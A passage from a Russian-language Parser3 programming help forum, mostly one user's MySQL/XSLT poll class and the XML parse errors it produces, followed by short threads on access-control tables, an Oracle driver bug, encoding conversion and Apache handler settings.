Entity: line 13: error: attributes construct error\
			<id=\"758\" vote_count=\"0\">\
      ^\
Entity: line 13: error: xmlParseStartTag: problem parsing attributes\
			<id=\"758\" vote_count=\"0\">\
      ^\
Entity: line 13: error: Couldn't find end of Start Tag id line 13\
			<id=\"758\" vote_count=\"0\">\
      ^\
Entity: line 15: error: Ending tag error for: poll line 5\
			</>\
     ^\
Entity: line 17: error: error parsing attribute name\
			<id=\"759\" vote_count=\"0\">\
      ^\
Entity: lin   ^\
\
-------------------------------------------------"
"22091","Помогите, пожалуйста, устранить ошибку.\
[code]\
@printPoll[params;action][params;action]\
^try{\
## code generating\
	^params.foreach[p_id;poll]{\
	     <poll id=\"$p_id\" status=\"$poll.status\" type=\"$poll.type\" default=\"$poll.default_value\" restricted=\"$poll.restricted\">\
		<question>$poll.question</question>\
		<${action}s total=\"$poll.total\">\
		^poll.answers.foreach[a_id;answer]{\
			<${action}id=\"$a_id\" vote_count=\"$answer.vote_count\">\
				$answer.answer\
			</$action>\
		}\
		</${action}s>\
		<date started=\"$poll.dt_started\" closed=\"$poll.dt_ended\" />\
		<form path=\"$poll.path_param\" action=\"$request:uri\" button=\"$poll.button_text\" />\
	     </poll>\
	}\
}{\
	^throw[parser.compile;poll;printPoll method compiling error.Check your parameters]\
}\
[/code]"
"22092","Вобще Вы очень плохо сообщаете об ошибках. Большие сообщения, а толку нуль..."
"22093","Но проблемы на этом не кончаются :(\
\
При выполнении этого кода:\
[code]\
@wear[skin;method][skin;fd;method]\
^try{\
	^if(-f $skin){\
		$fd[^file::load[text;$skin]]\
		^process{^taint[as-is][$fd.text]}\
	}{\
		^throw[parser.runtime;poll;Polls $method skin not found]\
	}\
}{\
	^throw[parser.compile;poll;Skin compiling error. Check your $method skin code]\
}\
[/code]\
мне вылетает [i]Skin compiling error. Check your $method skin code[/i]\
\
ПОЖАЛУЙСТА, найдите здесь ошибки. За помощь буду ОЧЕНЬ благодарен.\
\
Есть класс опросника\
[code]\
@CLASS\
poll\
\
@auto[] \
$connect_string[mysql://root@localhost/poll]\
\
## main constructor\
@create[pi_table_in;pa_table_in;extra][extra]\
## shit class path\
$cl_path[/poll]\
## defining poll_info table\
$pi_table[$pi_table_in]\
## defining poll_answers table\
$pa_table[$pa_table_in]\
## defining date used in methods\
$date_now[^date::now[]]\
## adding extra methods\
^if(def $extra){\
	^try{\
		^if(-f $extra){\
			$extra[^file::load[text;$extra]]\
			^process{^taint[as-is][$extra.text]}\
		}{\
			^throw[parser.runtime;poll;Extra methods file not found]\
		}\
	}{\
		^throw[parser.compile;poll;Extra methods compiling error. Check your extra methods code]\
	}\
}\
######## end of @create[] constructor ########\
\
##############################################\
## creates and runs-in new poll\
@run[params][params;poll_id;answer_keys;id]\
## parameters checking and errors detecting\
^check_params[$params;run]\
## question checking\
^if(!def $params.question){\
	^throw[parser.runtime;poll;Poll question not defined]\
}\
## answers checking\
^if(!def $params.answers || !($params.answers is hash)){\
	^throw[parser.runtime;poll;Answers parameter contains illegal value]\
}\
## inserting poll into $pi_table\
^connect[$connect_string]{ \
^void:sql{\
	INSERT INTO \
		$pi_table (\
			question,\
			type,\
			default_value,\
			button_text,\
			status,\
			dt_started\
		)\
	VALUES\
		(\
		'$params.question',\
		'^if($params.type eq \"checkbox\"){$params.type}{radio}',\
		'^params.default.int(1)',\
		'^if(def $params.button_text){$params.button_text}{Ответить}',\
		'^if($params.status eq \"active\"){$params.status}{closed}',\
		'^date_now.sql-string[]'\
		)\
}\
}\
## extracting last_insert_id()\
$poll_id[^last_insert_id[0]]\
## sorting income answers\
$answer_keys[^params.answers._keys[]]\
^answer_keys.sort($answer_keys.key)\
## inserting answers into $pa_table\
^answer_keys.menu{\
	$id[$answer_keys.key]\
	^if(!($params.answers.$id is hash)){\
		^throw[parser.runtime;poll;Answers must be defined as a hash]\
	}\
	^if(def $params.answers.$id.answer){\
		^connect[$connect_string]{ \
		^void:sql{\
			INSERT INTO\
				$pa_table (\
					poll_id,\
					answer,\
					vote_count\
				)\
			VALUES\
				(\
				'$poll_id',\
				'$params.answers.$id.answer',\
				'^params.answers.$id.vote_count.int(0)'\
				)\
		}\
	}\
}\
}\
## returns created poll's id and it's status\
$result[$poll_id[$poll_id]]\
$status[^connect[$connect_string]{^string:sql{SELECT status FROM $pi_table WHERE poll_id = $poll_id}[$.default{closed}]]}]\
######## end of @run[] method ########\
\
######################################\
## draws the poll body on your page\
@show[params][params;poll_id;path_param;cookie;expires;poll;action;answers]\
## parameters checking\
^check_params[$params;show]\
## defining poll_id\
^if(def $params.poll_id && $params.poll_id eq \"last_active\"){\
	$poll_id[^last_insert_id[0]]\
}{\
	$poll_id[^params.poll_id.int(0)]\
}\
## extracting poll from database\
$poll_info[^extract[$poll_id;info]]\
## path parameter defining\
$path_param[^if(def $params.path_param){^taint[xml][$params.path_param]}{vote_for}]\
## detecting vote\
^if((def $params.request && $params.request is hash && def $params.request.$path_param) || $poll_info.status eq \"closed\"){\
## detecting restriction\
	^if(def $params.restrict && $params.restrict is hash){\
## cookie name defining\
		^if(def $params.restrict.cookie){\
			$cookie[${poll_id}_$params.restrict.cookie]\
		}{\
			$cookie[${poll_id}_poll]\
		}\
## expire date defining\
		^if(def $params.restrict.expires){\
			$expires[^params.restrict.expires.int(1)]\
		}{\
			$expires[session]\
		}\
## setting cookie\
		^if(!def $cookie:$cookie){\
			^if($expires eq \"session\"){\
				$cookie:$cookie[$expires]\
			}{\
				$cookie:$cookie($expires)\
			}\
		}{\
## voting restricted\
			$restricted(1)\
		}\
	}\
## updating vote counts\
	^if(!$restricted && def $params.request.$path_param && $params.request.$path_param is table && $poll_info.status ne \"closed\"){\
		^params.request.$path_param.menu{\
			^connect[$connect_string]{^void:sql{\
				UPDATE	$pa_table\
				SET	vote_count = vote_count+1\
				WHERE	answer_id = '^params.request.$path_param.field.int(0)'\
				AND	poll_id = '$poll_id'\
			}\
		}\
	}\
## user voted or poll closed\
	$action[result]\
}{\
## active poll, no vote submitted\
	$action[answer]\
}\
}\
## hashing poll\
$poll[^poll_info.hash[poll_id]]\
## extracting answers\
$answers[^extract[$poll_id;answers]]\
## hashing answers\
$answers[^answers.hash[answer_id]]\
## inserting answers into $poll hash\
$poll.$poll_id.answers[$answers]\
## adding path parameter\
$poll.$poll_id.path_param[$path_param]\
## extracting total votes for this poll\
$poll.$poll_id.total[^connect[$connect_string]{^string:sql{SELECT SUM(vote_count) FROM $pa_table WHERE poll_id = '$poll_id' GROUP BY poll_id}[$.default{0}]}]\
	^if($poll.$poll_id.total eq \"0\"){$poll.$poll_id.total[100]}\
## rectriction defining\
$poll.$poll_id.restricted[^if($restricted){yes}{no}]\
## getting poll view\
^if(def $params.skin){\
## processing poll skin\
	^transform[$params.skin;^printPoll[$poll;$action]]\
}{\
## printing poll\
	^printPoll[$poll;$action]\
}\
######## end of @show[] method ########\
\
#######################################\
## updates existing poll\
@update[params][params;poll_id]\
## parameters checking\
^check_params[$params;update]\
## poll_id detecting\
^if(!def $params.poll_id){\
	^throw[parser.runtime;poll;Nothing to update, check your ^$.poll_id[]]\
}{\
	$poll_id(^params.poll_id.int(0))\
	^if($poll_id <= 0){\
		^throw[parser.runtime;poll;Invalid ^$.poll_id[]]\
	}\
}\
## updating poll info\
^if(def $params.question || def $params.type || def $params.status || def $params.default){\
	^connect[$connect_string]{^void:sql{\
		UPDATE	$pi_table\
		SET	question = ^if(def $params.question){'$params.question'}{question},\
			type = ^if(def $params.type){'^if($params.type eq \"checkbox\"){checkbox}{radio}'}{type},\
			default_value = ^if(def $params.default){'^params.default.int(1)'}{default_value},\
			button_text = ^if(def $params.button_text){'$params.button_text'}{button_text},\
			status = ^if(def $params.status){^if($params.status eq \"active\"){'active', dt_ended = ''}{'closed', dt_ended = '^date_now.sql-string[]'}}{status}\
		WHERE	poll_id = '$poll_id'\
	}\
}}\
## updating answers\
^if(def $params.answers && $params.answers is hash){\
	^params.answers.foreach[key;value]{\
		^if($value is hash){\
			^if(^key.mid(0;3) eq \"new\"){\
				^connect[$connect_string]{ \
				^void:sql{\
					INSERT INTO\
						$pa_table\
							(\
							poll_id,\
							answer,\
							vote_count\
							)\
					VALUES\
						(\
						'$poll_id',\
						'$value.answer',\
						'^value.vote_count.int(0)'\
						)\
				}\
			}{\
## deleting answers\
				^if(^key.mid(0;6) eq \"delete\"){\
					^void:sql{\
						UPDATE	$pa_table\
						SET	poll_id = 0\
						WHERE	answer_id = ^value.answer.int(0)\
						AND	poll_id = '$poll_id'\
					}\
				\
				}{\
## updating exist answer\
					^void:sql{\
						UPDATE	$pa_table\
						SET	answer = ^if(def $value.answer){'$value.answer'}{answer},\
							vote_count = ^if(def $value.vote_count){'^value.vote_count.int(0)'}{vote_count}\
						WHERE	answer_id = ^key.int(0)\
						AND	poll_id = '$poll_id'\
					}\
				}\
			}\
		}\
	}\
}}\
######## end of @update[] method ########\
\
##############################################\
## poll_info and poll_answers extractor\
@extract[poll_id;type][poll_id;type]\
^if(def $poll_id){\
	^switch[$type]{\
		^case[info]{$result[^connect[$connect_string]{^table::sql{\
						SELECT\
							poll_id,\
							question,\
							type,\
							default_value,\
							button_text,\
							status,\
							dt_started,\
							dt_ended\
						FROM	$pi_table\
					^if($poll_id ne \"all\"){\
						WHERE	poll_id = '^poll_id.int(0)'\
					}\
				}}]\
		}\
		^case[answers]{$result[^connect[$connect_string]{^table::sql{\
						SELECT\
							answer_id,\
							poll_id,\
							answer,\
							vote_count\
						FROM	$pa_table\
					^if($poll_id ne \"all\"){\
						WHERE	poll_id = '^poll_id.int(0)'\
					}\
				}}]\
		}\
		^case[DEFAULT]{$result[]}\
	}\
}{\
	$result[]\
}\
######## end of @extract[] method ############\
\
@last_insert_id[default][default]\
$result[^connect[$connect_string]{^string:sql{SELECT MAX(poll_id) FROM $pi_table}[$.default{$default}]}] \
######## end of @last_insert_id[] method ########\
\
##############################################\
## parameters hash checker\
@check_params[params;method][params;method]\
^if(!def $params || !($params is hash)){\
	^throw[parser.runtime;poll;Defined none of parameters while calling <b>^#40$method[]</b> method]\
}\
######## end of @check_params[] method #######\
\
#######################################\
## poll xml code generator\
@printPoll[params;action][params;action]\
^try{\
## code generating\
	^params.foreach[p_id;poll]{\
	     <poll id=\"$p_id\" status=\"$poll.status\" type=\"$poll.type\" default=\"$poll.default_value\" restricted=\"$poll.restricted\">\
		<question>$poll.question</question>\
		<${action}s total=\"$poll.total\">\
		^poll.answers.foreach[a_id;answer]{\
			<${action}id=\"$a_id\" vote_count=\"$answer.vote_count\">\
				$answer.answer\
			</$action>\
		}\
		</${action}s>\
		<date started=\"$poll.dt_started\" closed=\"$poll.dt_ended\" />\
		<form path=\"$poll.path_param\" action=\"$request:uri\" button=\"$poll.button_text\" />\
	     </poll>\
	}\
}{\
	^throw[parser.compile;poll;printPoll method compiling error.Check your parameters]\
}\
######## end of @printPoll[] method ###\
\
#######################################\
## poll xml xslt transformator\
@transform[xslt_file;xml_code][xslt_file;xml_code;document;transformedDoc]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"$response:charset\"?> \
<document>\
	^untaint{$xml_code}\
</document>}] \
$transformedDoc[^document.transform[$xslt_file]]\
^transformedDoc.string[\
		$.method[html]\
		]\
######## end of @transform[] method ###\
[/code]\
\
Есть show_poll.xslt\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1254\"?>\
\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
    <xsl:template match=\"document\">\
        	<xsl:apply-templates select=\"poll\" />\
    </xsl:template>\
    \
    <xsl:template match=\"poll\">\
        <table border=\"0\" cellpadding=\"3\" cellspacing=\"0\">\
	<tr><td><b><xsl:value-of select=\"question\" /></b></td></tr>\
	<tr><td align=\"center\">\
		<xsl:if test=\"@restricted = 'yes'\">\
			<font color=\"red\">Daha цnce oy verdiрiniz iзin oyunuz kabul edilmedi</font>\
        	</xsl:if>\
		<xsl:apply-templates select=\"answers\" />\
		<xsl:apply-templates select=\"results\" />\
	</td></tr></table>\
    </xsl:template>\
    \
    <xsl:template match=\"answers\">\
    	<form name=\"poll_{//form/@id}\" method=\"post\" action=\"{//form/@action}\">\
	<table border=\"0\" width=\"90%\">\
	<xsl:for-each select=\"answer\">\
	    	<tr><td>\
	    	<xsl:element name=\"input\">\
    			<xsl:attribute name=\"id\">answer_<xsl:value-of select=\"@id\" /></xsl:attribute>\
    			<xsl:attribute name=\"type\"><xsl:value-of select=\"//poll/@type\" /></xsl:attribute>\
    			<xsl:attribute name=\"class\"><xsl:value-of select=\"//poll/@type\" /></xsl:attribute>\
    			<xsl:attribute name=\"name\"><xsl:value-of select=\"//form/@path\" /></xsl:attribute>\
    			<xsl:attribute name=\"value\"><xsl:value-of select=\"@id\" /></xsl:attribute>\
			<xsl:if test=\"position()=//poll/@default\"> \
				<xsl:attribute name=\"checked\">checked</xsl:attribute>\
        		</xsl:if>\
       		</xsl:element>\
		<label for=\"answer_{@id}\"><xsl:value-of select=\".\" /></label>\
		</td></tr>\
	</xsl:for-each>\
	</table>\
	<br />\
	<input type=\"submit\" name=\"request\" value=\"{//form/@button}\" />\
	</form>\
    </xsl:template>\
    \
    <xsl:template match=\"results\">\
    	<table border=\"0\" width=\"95%\">\
		<tr><td>\
		<xsl:for-each select=\"result\">\
			<xsl:value-of select=\".\" />\
			<xsl:variable name=\"total\">\
				<xsl:value-of select=\"//results/@total\" />\
			</xsl:variable>\
			<xsl:variable name=\"vote\">\
				<xsl:value-of select=\"@vote_count\" />\
			</xsl:variable>\
			<br />\
			<img src=\"/i/bar.gif\" align=\"absmiddle\" width=\"{format-number($vote*70 div $total,'#.')}\" height=\"8\" />\
			<xsl:text> </xsl:text>\
			<xsl:value-of select=\"@vote_count\" />\
			<xsl:text> </xsl:text>(<xsl:value-of select=\"format-number($vote*100 div $total,'#.#')\" />%)\
			<hr size=\"1\" />\
		</xsl:for-each>\
		</td></tr>\
	</table>\
	<font size=\"-2\">anket <xsl:value-of select=\"//date/@started\" /> tarihinde baюladэ</font>\
    </xsl:template>\
    \
    \
</xsl:stylesheet>\
[/code]\
\
Есть show_skin.xslt\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
    <xsl:template match=\"document\">\
    	<style type=\"text/css\">\
		input {height:20; font:8pt Tahoma;}\
	</style>\
    	<div style=\"border:1 #CCCCCC solid; padding:5; width:200\">\
        	<xsl:apply-templates select=\"poll\" />\
    	</div>\
    </xsl:template>\
    \
    <xsl:template match=\"poll\">\
        <table border=\"0\" width=\"200\" cellpadding=\"3\" cellspacing=\"0\">\
	<tr><td><b><xsl:value-of select=\"question\" /></b></td></tr>\
	<tr><td align=\"center\">\
		<xsl:if test=\"@restricted = 'yes'\">\
			<font color=\"red\">Ваш голос не был принят, т. к. вы уже голосовали</font>\
        	</xsl:if>\
		<xsl:apply-templates select=\"answers\" />\
		<xsl:apply-templates select=\"results\" />\
	</td></tr></table>\
    </xsl:template>\
    \
    <xsl:template match=\"answers\">\
    	<form name=\"poll_{//form/@id}\" method=\"post\" action=\"{//form/@action}\">\
	<table border=\"0\" width=\"90%\">\
	<xsl:for-each select=\"answer\">\
	    	<tr><td>\
	    	<xsl:element name=\"input\">\
    			<xsl:attribute name=\"id\">answer_<xsl:value-of select=\"@id\" /></xsl:attribute>\
    			<xsl:attribute name=\"type\"><xsl:value-of select=\"//poll/@type\" /></xsl:attribute>\
    			<xsl:attribute name=\"name\"><xsl:value-of select=\"//form/@path\" /></xsl:attribute>\
    			<xsl:attribute name=\"value\"><xsl:value-of select=\"@id\" /></xsl:attribute>\
			<xsl:if test=\"position()=//poll/@default\"> \
				<xsl:attribute name=\"checked\">checked</xsl:attribute>\
        		</xsl:if>\
       		</xsl:element>\
		<label for=\"answer_{@id}\"><xsl:value-of select=\".\" /></label>\
		</td></tr>\
	</xsl:for-each>\
	</table>\
	<br />\
	<input type=\"submit\" name=\"request\" value=\"{//form/@button}\" />\
	</form>\
    </xsl:template>\
    \
    <xsl:template match=\"results\">\
    	<table border=\"0\" width=\"90%\">\
		<tr><td>\
		<xsl:for-each select=\"result\">\
			<xsl:value-of select=\".\" />\
			<xsl:variable name=\"total\">\
				<xsl:value-of select=\"//results/@total\" />\
			</xsl:variable>\
			<xsl:variable name=\"vote\">\
				<xsl:value-of select=\"@vote_count\" />\
			</xsl:variable>\
			<br />\
			<img src=\"bar.gif\" align=\"absmiddle\" width=\"{format-number($vote*100 div $total,'#.')}\" height=\"8\" />\
			<xsl:text> </xsl:text>\
			<xsl:value-of select=\"@vote_count\" />\
			<xsl:text> </xsl:text>(<xsl:value-of select=\"format-number($vote*100 div $total,'#.##')\" /> %)\
			<hr size=\"1\" />\
		</xsl:for-each>\
		</td></tr>\
	</table>\
	<font size=\"-2\">опрос ведется с <xsl:value-of select=\"//date/@started\" /></font>\
    </xsl:template>\
    \
    \
</xsl:stylesheet>\
[/code]\
\
Есть poll_extra.p\
[code]\
## poll adder form\
@add[params][params;new_poll]\
## parameters checking\
^check_params[$params;add]\
## request checking\
^if(def $params.request && $params.request is hash && def $params.request.answer){\
## poll hash creating\
	$new_poll[^hash::create[]]\
## extracting new poll info\
	$new_poll.question[$params.request.question.field]\
	$new_poll.type[$params.request.type.field]\
	$new_poll.status[$params.request.status.field]\
	$new_poll.button_text[$params.request.button_text.field]\
## extracting answers\
	^if(def $params.request.answer && $params.request.answer is table){\
		$new_poll.answers[^hash::create[]]\
		^params.request.answer.menu{\
			$id[^params.request.answer.line[]]\
			^params.request.vote_count.offset[set](^params.request.answer.offset[])\
			$new_poll.answers.$id[\
					$.answer[$params.request.answer.field]\
					$.vote_count[$params.request.vote_count.field]\
					]\
		}\
	}\
## calling poll creator\
	^run[$new_poll]\
}{\
## processing poll skin\
	^wear[$params.skin;adding]\
}\
######## end of @add[] method ################\
\
#######################################\
## edit form\
@edit[params][params;poll_id;id;update_hash]\
## parameters checking\
^check_params[$params;edit]\
## request checking\
^if(def $params.request && $params.request is hash && def $params.request.exist_answer && $params.request.exist_answer is table){\
## creating update hash\
	$update_hash[^hash::create[]]\
## extracting poll info from form	\
	$update_hash.poll_id[$params.request.poll_id.field]\
	$update_hash.question[$params.request.question.field]\
	$update_hash.type[$params.request.type.field]\
	$update_hash.status[$params.request.status.field]\
	$update_hash.answers[^hash::create[]]\
	$update_hash.button_text[$params.request.button_text.field]\
## extracting answers\
	^if($params.request.answer is table && $params.request.exist_answer is table){\
		^if($params.request.answer > $params.request.exist_answer){\
## detecting answers to update or add\
			^params.request.answer.menu{\
				^if(^params.request.answer.line[] > $params.request.exist_answer){\
					$id[new_^params.request.answer.line[]]\
				}{\
					^params.request.exist_answer.offset[set](^params.request.answer.offset[])\
					$id[$params.request.exist_answer.field]\
				}\
				^params.request.vote_count.offset[set](^params.request.answer.offset[])\
				$update_hash.answers.$id[\
							$.answer[$params.request.answer.field]\
							$.vote_count[$params.request.vote_count.field]\
							]\
			}\
		}{\
## detecting answers to update or delete\
			^params.request.exist_answer.menu{\
				^if(^params.request.exist_answer.line[] > $params.request.answer){\
					$id[delete_^params.request.exist_answer.line[]]\
					$answer[$params.request.exist_answer.field]\
				}{\
					^params.request.answer.offset[set](^params.request.exist_answer.offset[])\
					$id[$params.request.exist_answer.field]\
					$answer[$params.request.answer.field]\
				}\
				^params.request.vote_count.offset[set](^params.request.exist_answer.offset[])\
				$update_hash.answers.$id[\
							$.answer[$answer]\
							$.vote_count[$params.request.vote_count.field]\
							]\
			}\
		}\
	}\
## calling poll updater\
	^update[$update_hash]\
}{\
## detecting poll_id\
	$poll_id(^params.poll_id.int(0))\
	$poll_info[^extract[$poll_id;info]]\
	$poll_answers[^extract[$poll_id;answers]]\
## processing poll skin\
	^wear[$params.skin;editing]\
}\
######## end of @edit[] method ########\
\
##############################################\
## skin viewer\
@wear[skin;method][skin;fd;method]\
^try{\
	^if(-f $skin){\
		$fd[^file::load[text;$skin]]\
		^process{^taint[as-is][$fd.text]}\
	}{\
		^throw[parser.runtime;poll;Polls $method skin not found]\
	}\
}{\
	^throw[parser.compile;poll;Skin compiling error. Check your $method skin code]\
}\
######## end of @wear[] method ###############\
[/code]"
"22094","Или Вы реально думаете, что кто-то будет разбирать этот код. Вы так и не смогли локализовать ошибку и при этом хотите, чтобы это сделали за Вас... Не хорошо, однако..."
"22095","...одновременно как параметр метода и локальную переменную. И что Парсер должен был Вам на это сказать?\
\
Аккуратнее надо быть, а не постить на форум что попало..."
"22096","Скажите пожалуйста. Лучше код приведите. ПОЖАЛУЙСТА."
"22097","Я не хочу, чтобы за меня исправляли ошибки и предлагали рабочий код, а показали, где они есть и как их исправить.\
\
Прошу прощения за такую фигню."
"22099","Я извиняюсь, а как надо?"
"22101","имеем..\
таблицe object, в которой строится дерево сайта...\
\
вопрос...\
каким способом лучше закрывать уровни для пользователей, грыпп пользователей???\
\
1) например вести табличку access где, есть id уровеня и пользователи для которых он открыт|закрыт???\
\
2) например вести табличку user'ов или группы user'ов где, прописывать id открытых|закрытых уровней???\
\
или...\
Варианты...???"
"22102","Unhandled Exception (Debug)\
w:/home/localhost/www/poll/poll_extra.p(105:7): parse error, expecting `']''\
use"
"22103","Проверил: Парсер позволяет описывать параметры метода, как локальные переменные [что немного странно, но не принципиально].\
\
Важно другое. Внимательно посмотрите на код: \
[code]^try{\
	^if(-f $skin){\
		$fd[^file::load[text;$skin]]\
		^process{^taint[as-is][$fd.text]}\
	}{\
		^throw[parser.runtime;poll;Polls $method skin not found]\
	}\
}{\
	^throw[parser.compile;poll;Skin compiling error. Check your $method skin code]\
}[/code]\
\
Здесь важно то, что ошибку вам выкидывает не Парсер, а этот самый кусок кода. Судя по всему ошибка в коде, который берется из файла с именем, хранящемся в переменной $skin. Посмотреть, где валится код можно убрав строчку с ^throw[parser.compile..."
"22105","Спасибо PAF'у за помощь в сборке\
из исходников."
"22106","Добавил в таблицу VARCHAR, а лучше SET, поле access в котором через запятую перечислял бы gid тех, кто имеет доступ.\
А доставал бы данные через ($gid - id текущей группы):\
[code]select\
...\
from object\
where ...\
and $gid in object.access[/code]"
"22107","... проверьте приходит ли в переменной $skin имя  файла со скином, и есть ли он на диске."
"22108","[code]@wear[skin;method][skin;fd;method]\
^try{\
	^if(-f $skin){\
		$fd[^file::load[text;$skin]]\
		^process{^taint[as-is][$fd.text]}\
	}{\
		^throw[parser.runtime;poll;Polls $method skin not found]\
	}\
}{\
}[/code]\
\
Снова\
[code]\
Unhandled Exception (Debug)\
Entity: line 9: error: error parsing attribute name\
			<id=\"1\" vote_count=\"45\">\
      ^\
Entity: line 9: error: attributes construct error\
			<id=\"1\" vote_count=\"45\">\
      ^\
Entity: line 9: error: xmlParseStartTag: problem parsing attributes\
			<id=\"1\" vote_count=\"45\">\
      ^\
Entity: line 9: error: Couldn't find end of Start Tag id line 9\
			<id=\"1\" vote_count=\"45\">\
      ^\
Entity: line 11: error: Ending tag error for: s line 7\
			</>\
     ^\
Entity: line 13: error: error parsing attribute name\
			<id=\"2\" vote_count=\"0\">\
      ^\
Entity: line 13: error: attributes construct error\
			<id=\"2\" vote_count=\"0\">\
      ^\
Entity: line 13: error: xmlParseStartTag: problem parsing attributes\
			<id=\"2\" vote_count=\"0\">\
      ^\
Entity: line 13: error: Couldn't find end of Start Tag id line 13\
			<id=\"2\" vote_count=\"0\">\
      ^\
Entity: line 15: error: Ending tag error for: poll line 5\
			</>\
     ^\
Entity: line 17: error: error parsing attribute name\
			<id=\"3\" vote_count=\"0\">\
      ^\
Entity: line 17: error      ^  error\
[/code]"
"22109","[code]## выводим последний активный опрос на страницу\
^poll.show[\
	$.poll_id[last_active]\
	$.skin[show_skin.xslt]\
	$.request[$form:tables]\
	$.path_param[answer_id]\
	$.restrict[\
		$.cookie[poll]\
		$.expires[1]\
		]\
	]\
[/code]\
\
Файл show_skin.xslt на диске есть."
"22112","1. есть табличка auser где лежат пользователи и группы, идентификатор - auser_id\
2. есть табличка object с объектами сайта, идентификатор object_id. есть еще поле irf - маска наследуемых прав.\
3. есть табличка с Access Control List, с полями: auser_id, object_id, rights\
\
Собственно если надо пользователю/группе дать права, я добавляю запись в табличку ACL, при этом права у меня задаются побитно (один бит - одно право)\
\
В классе авторизации у меня есть метод, который сам считает права, которые пользователь имеет на объект - обычная битовая арифметика.\
Права пользователя на объект складываются из всех прав данных группам, в которых состоит пользователь на все права объектов вурхних уровней в учетом маски. Если права даны не группе, а непосредственно пользователю, то они перебивают права пришедшие от групп (в общем если кому-нить это что-нить говорит, то я делал этот механизм наследования прав на основе реализованого в Novell NDS)\
\
P.S. наверное завтра выложу класс авторизации в открытый доступ, там можно будет посмотреть реализацию этих методов."
"22114","Я особо не вчитывался в код, однако с первого взгляда видно, что здесь механизм обработки исключений используется неправильно и ещё больще запутывает ситуацию. Осбенно порадовал метод @wear. Идя таким путём вы скоро просто перестанете понимать собственный код."
"22115","Странность заключается в том, что имена полей таблицы выдаются в кривом виде.\
\
Я постарался привести самый простой код, где это можно увидеть:\
[code]\
@body[]\
	$_bank[^MAIN:pSQL.sql[table;select acc, bik, bank from tmp_bank]]\
	$bank_line[$_bank.fields]\
	^bank_line.foreach[key;value]{\
		<p>field: $key --- value: $value\
	}\
[/code]\
\
В результате мы получаем:\
[code]\
            <P>field: acc --- value: 0 \
            <P>field: $ --- value: 046577904 \
            <P>field: bankxg  $ --- value: АКБ \"Банк Екатеринбург\" \
[/code]\
\
В 3.0.8 тот же самый код работает нормально.\
На всякий случай привожу DDL таблицы tmp_bank:\
[code]\
create table tmp_bank(\
    acc varchar2(128)\
  , bik varchar2(64)\
  , bank varchar2(480)\
)\
[/code]\
\
Спасибо!"
"22116","Ошибка проявляется и на таком запросе\
[code]\
$_bank[^MAIN:pSQL.sql[table;select '1' acc, '2' bik, '3' bank from dual]]\
[/code]\
но ее нет на запросе\
[code]\
$_bank[^MAIN:pSQL.sql[table;select '1' , '2', '3'  from dual]]\
[/code]"
"22117","возможно, вы пересобрали только сам parser.\
а это была ошибка в parser3oracle."
"22119","Для коротких имен они лишние:\
\
<nobr>dRmx</nobr> - по-моему выглядит нелогично\
\
А для составных не имеет смысла, т.к. имя от фамилии переносить на новую строку можно:\
\
Eugene\
Spearance"
"22121","Я беру sql/oracle из CVS|HEAD и именно его и подкладываю.\
\
Видимо вы имеете в виду:\
[code]\
----------------------------\
Revision : 1.36\
Date : 2003/10/2 9:40:51\
Author : 'paf'\
State : 'Exp'\
Lines : +4 -3\
Description :\
merged bugfix: name were not zeroterminated\
[/code]\
Если взять из CVS ревизию 1.36 и скомпилировать\
с ней, то ошибки нет! Получается, что ошибка \
вновь появилась при переходе с 1.36 на 1.37.\
\
К сожалению, я не силен в C и не вижу, что же\
там могло сломаться :("
"22122","там ещё какие-то мелочи нашёл. всё вместе."
"22123","я вообше в тупик встал подскажите \
делаю по примеру инфы получаеться\
а сам пытаюсь сделат нет\
Помогите пожалуста\
\
в auto.p\
@novost_r[]\
$now[^date::now[]]\
^connect[$connect_string]{ \
$news[^table::sql{select \
	date, zag, text \
from \
	news \
\
	\
	}] \
^if($news){ \
	^news.menu{ \
<a href=\"?day=$news.zag\">$news.zag</a> 		\
	}[<br>] \
	}{За указанный период новостей не найдено.} \
} \
\
как зделать так что б по заголовку вызвать текст.....\
\
\
\
СПОСИБО за ранее"
"22125","<a href=\"?day=$news.zag\"> - редкостная крамола.\
Посмотрите, как устроена таблица с новостями в уроках - там все очень хорошо написано.\
Почитайте про select...where в любой книжке по SQL или в мануале."
"22126","Человеку уже недвусмысленно раз сказали - http://www.parser.ru/forum/?id=22016 - так что в очередь, в очередь))))"
"22127","Ды к я не пойму как мне сдлеть действие при нажатии на ссылку,\
но не допирает до меня.\
<form>\
..............\
</form> \
Это я понимаю как запрос обработать \
а вот по ссылки не допирает..\
Подскажите как?\
Спосибо."
"22130","подскажите хотяб намёк куда копать ну не выходит...."
"22131","СПОСИБОЧКИ ВАМ"
"22134","Например Сер}|{. Иногда бывает такое\
\
[i]Сер}|\
{[/i]\
\
Хотя, мне без разницы…"
"22135","Как перекодировать из KOI8-R в win1251?\
\
P.S. [url=\"http://www.parser.ru/examples/auth/\"]auth_mysql.sql[/url]"
"22137","[code]\
<html><body><textarea cols=\"80\" rows=\"60\">\
\
сюда копируем текст в KOI-8\
\
</textarea></body></html>\
[/code]\
сохраняем это как HTML-документ, открываем в IE, выбираем кодировку KOI-8, из textarea всё copy и paste в Notepad. Сохраняем. Фсё готово, можно пользоваться."
"22138","Взять и выбрать: Открыть с помощью ... IE там поменять кодировку, выделить и вставить в редактор и всё. Я во всяком случае так и сделал."
"22139","Сама определяет кодировку, и позволяет ее менять без проблем. Собственно я в ней все и пишу, лучшая замена блокноту."
"22141","Попробовал \
AddHandler parsed-html .*\
и т.д. - не назначается."
"22142","^MAIN:pSQL.server\
\
server — это что?"
"22145","Хотите все включая gif и jpg обрабатывать парсером?\
по моему достаточно html ну в крайнем случае htm.\
в синтаксие пишутся просто через пробел\
\
[code]\
AddHandler parsed-html .html .htm и тд.\
[/code]"
"22146","я тебе уже писал, что по крайней мере про lib.p нужно упомянуть. А то смотри какая фишка получается, ты пишешь:\
[quote]\
Для того, чтобы понять что такое $MAIN:pSQL необходимо ознакомиться со статьей о переноcимости SQL запросов\
[/quote]\
Читаем эту самую статью и в самом конце возможно замечаем, а возможно и нет:\
[quote]\
P.S. внимание, в классе используются некоторые операторы, которые описаны в этом примере.\
[/quote]\
И опять же ни слова про сам lib.p\
\
